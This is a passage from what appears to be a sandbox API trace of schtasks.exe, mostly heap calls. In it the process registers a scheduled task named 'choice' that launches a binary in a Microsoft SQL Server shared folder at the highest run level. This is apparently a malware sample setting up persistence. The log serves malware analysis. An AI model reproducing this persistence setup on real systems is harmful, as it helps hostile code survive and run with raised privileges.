lpMem=0x23d700 | out: hHeap=0x220000) returned 1 [0064.377] GetProcessHeap () returned 0x220000 [0064.377] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d700 [0064.377] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c720, cchData=128 | out: lpLCData="0") returned 2 [0064.377] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.377] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0064.377] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0064.377] GetProcessHeap () returned 0x220000 [0064.377] GetProcessHeap () returned 0x220000 [0064.377] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d720) returned 1 [0064.377] GetProcessHeap () returned 0x220000 [0064.377] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d720) returned 0x10 [0064.377] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d720 | out: hHeap=0x220000) returned 1 [0064.377] GetProcessHeap () returned 0x220000 [0064.377] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d720 [0064.377] GetLocalTime (in: lpSystemTime=0x13c950 | out: lpSystemTime=0x13c950*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x30, wMilliseconds=0x3a1)) [0064.377] GetLocalTime (in: lpSystemTime=0x13d208 | out: lpSystemTime=0x13d208*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x30, wMilliseconds=0x3a1)) [0064.377] lstrlenW (lpString="") returned 0 [0064.377] lstrlenW (lpString="") returned 0 [0064.377] lstrlenW (lpString="") returned 0 [0064.377] lstrlenW (lpString="") returned 0 [0064.377] lstrlenW (lpString="") returned 0 [0064.377] lstrlenW (lpString="") returned 0 [0064.377] lstrlenW (lpString="") returned 0 [0064.378] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0064.394] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0064.432] CoCreateInstance (in: rclsid=0xffe11ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffe11ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x13cfd0 | out: ppv=0x13cfd0*=0x32dee0) returned 0x0 [0064.441] TaskScheduler:ITaskService:Connect (This=0x32dee0, serverName=0x13d0b0*(varType=0x8, wReserved1=0x13, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x13d070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x13d090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13d050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0064.448] TaskScheduler:IUnknown:AddRef (This=0x32dee0) returned 0x2 [0064.448] TaskScheduler:ITaskService:GetFolder (in: This=0x32dee0, Path=0x0, ppFolder=0x13d168 | out: ppFolder=0x13d168*=0x497df0) returned 0x0 [0064.453] TaskScheduler:ITaskService:NewTask (in: This=0x32dee0, flags=0x0, ppDefinition=0x13d160 | out: ppDefinition=0x13d160*=0x497e40) returned 0x0 [0064.453] ITaskDefinition:get_Actions (in: This=0x497e40, ppActions=0x13d0e0 | out: ppActions=0x13d0e0*=0x497f00) returned 0x0 [0064.454] IActionCollection:Create (in: This=0x497f00, Type=0, ppAction=0x13d100 | out: ppAction=0x13d100*=0x496750) returned 0x0 [0064.454] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.454] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.454] lstrlenW (lpString=" ") returned 1 [0064.454] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0064.454] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0064.454] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0064.454] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0064.455] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x51) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0064.455] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0064.455] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0064.456] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0064.456] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0064.456] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0064.456] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0064.456] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0064.456] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0064.456] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0064.456] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0064.456] IUnknown:Release (This=0x496750) returned 0x1 [0064.456] IUnknown:Release (This=0x497f00) returned 0x1 [0064.456] ITaskDefinition:get_Triggers (in: This=0x497e40, ppTriggers=0x13cc60 | out: ppTriggers=0x13cc60*=0x4964c0) returned 0x0 [0064.456] ITriggerCollection:Create (in: This=0x4964c0, Type=9, ppTrigger=0x13cc58 | out: ppTrigger=0x13cc58*=0x4967c0) returned 0x0 [0064.456] IUnknown:QueryInterface (in: This=0x4967c0, riid=0xffe11c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x13cc50 | out: ppvObject=0x13cc50*=0x4967c0) returned 0x0 [0064.456] IUnknown:Release (This=0x4967c0) returned 0x2 [0064.456] _vsnwprintf (in: _Buffer=0x13cba0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x13cb78 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0064.456] ITrigger:put_StartBoundary (This=0x4967c0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0064.456] lstrlenW (lpString="") returned 0 [0064.456] lstrlenW (lpString="") returned 0 [0064.457] lstrlenW (lpString="") returned 0 [0064.457] lstrlenW (lpString="") returned 0 [0064.457] IUnknown:Release (This=0x4967c0) returned 0x1 [0064.457] IUnknown:Release (This=0x4964c0) returned 0x1 [0064.457] ITaskDefinition:get_Settings (in: This=0x497e40, ppSettings=0x13d100 | out: ppSettings=0x13d100*=0x496530) returned 0x0 [0064.457] lstrlenW (lpString="") returned 0 [0064.457] IUnknown:Release (This=0x496530) returned 0x1 [0064.457] GetLocalTime (in: lpSystemTime=0x13cfb8 | out: lpSystemTime=0x13cfb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x31, wMilliseconds=0x7)) [0064.457] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0064.457] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0064.458] GetUserNameW (in: lpBuffer=0x13cfe0, pcbBuffer=0x13cfc8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x13cfc8) returned 1 [0064.458] ITaskDefinition:get_RegistrationInfo (in: This=0x497e40, ppRegistrationInfo=0x13cfb0 | out: ppRegistrationInfo=0x13cfb0*=0x496400) returned 0x0 [0064.458] IRegistrationInfo:put_Author (This=0x496400, Author="") returned 0x0 [0064.458] _vsnwprintf (in: _Buffer=0x13cfe0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x13cf78 | out: _Buffer="2023-09-19T17:16:49") returned 19 [0064.458] IRegistrationInfo:put_Date (This=0x496400, Date="") returned 0x0 [0064.458] IUnknown:Release (This=0x496400) returned 0x1 [0064.459] malloc (_Size=0x18) returned 0x497fa0 [0064.459] free (_Block=0x497fa0) [0064.459] lstrlenW (lpString="") returned 0 [0064.459] ITaskDefinition:get_Principal (in: This=0x497e40, ppPrincipal=0x13d1d0 | out: ppPrincipal=0x13d1d0*=0x4966a0) returned 0x0 [0064.459] IPrincipal:put_RunLevel (This=0x4966a0, RunLevel=1) returned 0x0 [0064.459] IUnknown:Release (This=0x4966a0) returned 0x1 [0064.459] malloc (_Size=0x18) returned 0x497fa0 [0064.459] ITaskFolder:RegisterTaskDefinition (in: This=0x497df0, Path="choice", pDefinition=0x497e40, flags=6, UserId=0x13d250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13d290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13f160, varVal2=0xfe), LogonType=3, sddl=0x13d270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x13d170 | out: ppTask=0x13d170*=0x496a30) returned 0x0 [0065.155] free (_Block=0x497fa0) [0065.155] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.155] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0065.156] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0065.156] GetProcessHeap () returned 0x220000 [0065.156] GetProcessHeap () returned 0x220000 [0065.156] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d740) returned 1 [0065.156] GetProcessHeap () returned 0x220000 [0065.156] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d740) returned 0xe [0065.156] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d740 | out: hHeap=0x220000) returned 1 [0065.156] GetProcessHeap () returned 0x220000 [0065.156] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x82) returned 0x259d70 [0065.156] _vsnwprintf (in: _Buffer=0x13d8b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x13d118 | out: _Buffer="SUCCESS: The scheduled task \"choice\" has successfully been created.\n") returned 68 [0065.156] _fileno (_File=0x7feffe22ab0) returned -2 [0065.156] _errno () returned 0x494bb0 [0065.156] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0065.156] SetLastError (dwErrCode=0x6) [0065.156] lstrlenW (lpString="SUCCESS: The scheduled task \"choice\" has successfully been created.\n") returned 68 [0065.156] GetConsoleOutputCP () returned 0x0 [0065.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"choice\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0065.157] GetConsoleOutputCP () returned 0x0 [0065.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"choice\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0xffe51880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"choice\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 68 [0065.157] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 68 [0065.157] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0065.157] IUnknown:Release (This=0x496a30) returned 0x0 [0065.157] TaskScheduler:IUnknown:Release (This=0x497e40) returned 0x0 [0065.157] TaskScheduler:IUnknown:Release (This=0x497df0) returned 0x0 [0065.157] TaskScheduler:IUnknown:Release (This=0x32dee0) returned 0x1 [0065.157] lstrlenW (lpString="") returned 0 [0065.157] GetProcessHeap () returned 0x220000 [0065.157] GetProcessHeap () returned 0x220000 [0065.157] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c540) returned 1 [0065.158] GetProcessHeap () returned 0x220000 [0065.158] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c540) returned 0x1fc [0065.158] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c540 | out: hHeap=0x220000) returned 1 [0065.158] GetProcessHeap () returned 0x220000 [0065.158] GetProcessHeap () returned 0x220000 [0065.158] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6c0) returned 1 [0065.158] GetProcessHeap () returned 0x220000 [0065.158] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d6c0) returned 0x16 [0065.158] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6c0 | out: hHeap=0x220000) returned 1 [0065.158] GetProcessHeap () returned 0x220000 [0065.158] GetProcessHeap () returned 0x220000 [0065.158] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6a0) returned 1 [0065.158] GetProcessHeap () returned 0x220000 [0065.158] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d6a0) returned 0x18 [0065.158] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6a0 | out: hHeap=0x220000) returned 1 [0065.159] GetProcessHeap () returned 0x220000 [0065.159] GetProcessHeap () returned 0x220000 [0065.159] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cf10) returned 1 [0065.159] GetProcessHeap () returned 0x220000 [0065.159] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cf10) returned 0x20 [0065.159] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cf10 | out: hHeap=0x220000) returned 1 [0065.159] GetProcessHeap () returned 0x220000 [0065.159] GetProcessHeap () returned 0x220000 [0065.159] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c190) returned 1 [0065.159] GetProcessHeap () returned 0x220000 [0065.159] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c190) returned 0xa0 [0065.159] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c190 | out: hHeap=0x220000) returned 1 [0065.159] GetProcessHeap () returned 0x220000 [0065.159] GetProcessHeap () returned 0x220000 [0065.159] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bc10) returned 1 [0065.159] GetProcessHeap () returned 0x220000 [0065.159] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bc10) returned 0x18 [0065.160] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bc10 | out: hHeap=0x220000) returned 1 [0065.160] GetProcessHeap () returned 0x220000 [0065.160] GetProcessHeap () returned 0x220000 [0065.160] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccd0) returned 1 [0065.160] GetProcessHeap () returned 0x220000 [0065.160] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccd0) returned 0x20 [0065.160] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccd0 | out: hHeap=0x220000) returned 1 [0065.160] GetProcessHeap () returned 0x220000 [0065.160] GetProcessHeap () returned 0x220000 [0065.160] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c4b0) returned 1 [0065.160] GetProcessHeap () returned 0x220000 [0065.160] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c4b0) returned 0x88 [0065.161] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c4b0 | out: hHeap=0x220000) returned 1 [0065.161] GetProcessHeap () returned 0x220000 [0065.161] GetProcessHeap () returned 0x220000 [0065.161] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6e0) returned 1 [0065.161] GetProcessHeap () returned 0x220000 [0065.161] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d6e0) returned 0x18 [0065.161] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6e0 | out: hHeap=0x220000) returned 1 [0065.161] GetProcessHeap () returned 0x220000 [0065.161] GetProcessHeap () returned 0x220000 [0065.161] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cca0) returned 1 [0065.161] GetProcessHeap () returned 0x220000 [0065.161] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cca0) returned 0x20 [0065.162] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cca0 | out: hHeap=0x220000) returned 1 [0065.162] GetProcessHeap () returned 0x220000 [0065.162] GetProcessHeap () returned 0x220000 [0065.162] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23de50) returned 1 [0065.162] GetProcessHeap () returned 0x220000 [0065.162] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23de50) returned 0x8a [0065.162] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23de50 | out: hHeap=0x220000) returned 1 [0065.162] GetProcessHeap () returned 0x220000 [0065.162] GetProcessHeap () returned 0x220000 [0065.162] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d680) returned 1 [0065.162] GetProcessHeap () returned 0x220000 [0065.162] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d680) returned 0x18 [0065.162] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d680 | out: hHeap=0x220000) returned 1 [0065.162] GetProcessHeap () returned 0x220000 [0065.162] GetProcessHeap () returned 0x220000 [0065.162] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc70) returned 1 [0065.162] GetProcessHeap () returned 0x220000 [0065.162] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc70) returned 0x20 [0065.163] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc70 | out: hHeap=0x220000) returned 1 [0065.163] GetProcessHeap () returned 0x220000 [0065.163] GetProcessHeap () returned 0x220000 [0065.163] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c490) returned 1 [0065.163] GetProcessHeap () returned 0x220000 [0065.163] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c490) returned 0xe [0065.163] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c490 | out: hHeap=0x220000) returned 1 [0065.163] GetProcessHeap () returned 0x220000 [0065.163] GetProcessHeap () returned 0x220000 [0065.163] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c470) returned 1 [0065.163] GetProcessHeap () returned 0x220000 [0065.163] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c470) returned 0x18 [0065.163] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c470 | out: hHeap=0x220000) returned 1 [0065.163] GetProcessHeap () returned 0x220000 [0065.164] GetProcessHeap () returned 0x220000 [0065.164] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ea0) returned 1 [0065.164] GetProcessHeap () returned 0x220000 [0065.164] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ea0) returned 0x20 [0065.164] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ea0 | out: hHeap=0x220000) returned 1 [0065.164] GetProcessHeap () returned 0x220000 [0065.164] GetProcessHeap () returned 0x220000 [0065.164] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bd90) returned 1 [0065.164] GetProcessHeap () returned 0x220000 [0065.164] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bd90) returned 0x208 [0065.165] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bd90 | out: hHeap=0x220000) returned 1 [0065.165] GetProcessHeap () returned 0x220000 [0065.165] GetProcessHeap () returned 0x220000 [0065.165] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbf0) returned 1 [0065.165] GetProcessHeap () returned 0x220000 [0065.165] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bbf0) returned 0x18 [0065.165] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbf0 | out: hHeap=0x220000) returned 1 [0065.165] GetProcessHeap () returned 0x220000 [0065.165] GetProcessHeap () returned 0x220000 [0065.165] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235db0) returned 1 [0065.165] GetProcessHeap () returned 0x220000 [0065.165] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235db0) returned 0x20 [0065.166] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235db0 | out: hHeap=0x220000) returned 1 [0065.166] GetProcessHeap () returned 0x220000 [0065.166] GetProcessHeap () returned 0x220000 [0065.166] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d440) returned 1 [0065.166] GetProcessHeap () returned 0x220000 [0065.166] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d440) returned 0x200 [0065.167] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d440 | out: hHeap=0x220000) returned 1 [0065.167] GetProcessHeap () returned 0x220000 [0065.167] GetProcessHeap () returned 0x220000 [0065.167] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bc30) returned 1 [0065.167] GetProcessHeap () returned 0x220000 [0065.167] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bc30) returned 0x18 [0065.167] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bc30 | out: hHeap=0x220000) returned 1 [0065.167] GetProcessHeap () returned 0x220000 [0065.167] GetProcessHeap () returned 0x220000 [0065.167] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235d20) returned 1 [0065.167] GetProcessHeap () returned 0x220000 [0065.167] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235d20) returned 0x20 [0065.168] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235d20 | out: hHeap=0x220000) returned 1 [0065.168] GetProcessHeap () returned 0x220000 [0065.168] GetProcessHeap () returned 0x220000 [0065.168] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3a0) returned 1 [0065.168] GetProcessHeap () returned 0x220000 [0065.168] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c3a0) returned 0x14 [0065.168] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3a0 | out: hHeap=0x220000) returned 1 [0065.169] GetProcessHeap () returned 0x220000 [0065.169] GetProcessHeap () returned 0x220000 [0065.169] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c380) returned 1 [0065.169] GetProcessHeap () returned 0x220000 [0065.169] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c380) returned 0x18 [0065.169] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c380 | out: hHeap=0x220000) returned 1 [0065.169] GetProcessHeap () returned 0x220000 [0065.169] GetProcessHeap () returned 0x220000 [0065.169] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c60) returned 1 [0065.169] GetProcessHeap () returned 0x220000 [0065.169] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c60) returned 0x20 [0065.170] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c60 | out: hHeap=0x220000) returned 1 [0065.170] GetProcessHeap () returned 0x220000 [0065.170] GetProcessHeap () returned 0x220000 [0065.170] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3c0) returned 1 [0065.170] GetProcessHeap () returned 0x220000 [0065.170] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c3c0) returned 0x16 [0065.170] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3c0 | out: hHeap=0x220000) returned 1 [0065.170] GetProcessHeap () returned 0x220000 [0065.170] GetProcessHeap () returned 0x220000 [0065.170] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c240) returned 1 [0065.170] GetProcessHeap () returned 0x220000 [0065.170] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c240) returned 0x18 [0065.170] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c240 | out: hHeap=0x220000) returned 1 [0065.170] GetProcessHeap () returned 0x220000 [0065.170] GetProcessHeap () returned 0x220000 